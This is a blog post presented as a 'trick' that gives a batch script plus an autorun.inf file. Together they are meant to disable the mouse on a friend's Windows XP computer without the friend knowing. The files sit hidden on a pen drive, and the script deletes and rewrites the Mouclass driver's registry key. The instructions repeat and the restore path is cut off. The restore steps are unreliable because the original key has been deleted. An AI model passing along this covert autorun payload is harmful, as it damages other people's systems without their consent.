NOTE- It works in Windows xp and previous versions .
Open a notepad file-
Just copy and paste the below code in your notepad file. . .
Open a notepad file-
Just copy and paste the below code in your notepad file. . .
...@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Save the file as .bat extension. . .
Then create the other notepad file and
Just copy and paste the below code in your notepad file. . .
[autorun]
Open=filename.bat
Action=Mouse Disable
U have to put the name .bat which is already done by u. .
Save the file as autorun.inf
Now just copy these two files and paste it in your pen drive. . .
And hide these both file . . .
Whenever your friend insert your pen drive in his computer
These both files will run automatically. . .and then the mouse will be disabled.
For enabling the Mouse. .
Go to run
Type regedit
Then go to
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass
Click on start
And modify its value 1 instead of 4. . .
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Save the file as .bat extension. . .
Then create the other notepad file and
Just copy and paste the below code in your notepad file. . .
[autorun]
Open=filename.bat
Action=Mouse Disable
U have to put the name .bat which is already done by u. .
Save the file as autorun.inf
Now just copy these two files and paste it in your pen drive. . .
And hide these both file . . .
Whenever your friend insert your pen drive in his computer
These both files will run automatically. . .and then the mouse will be disabled.
For enabling the Mouse. .
Go to run
Type regedit
Then go to
HKEY_LOCAL_MACHINE\system\Curr
Click on start
And modify its value 1 instead of 4. . .
- Get link
- Other Apps
Labels:
Some worthwhile tricks and tips
- Get link
- Other Apps
Comments
Post a Comment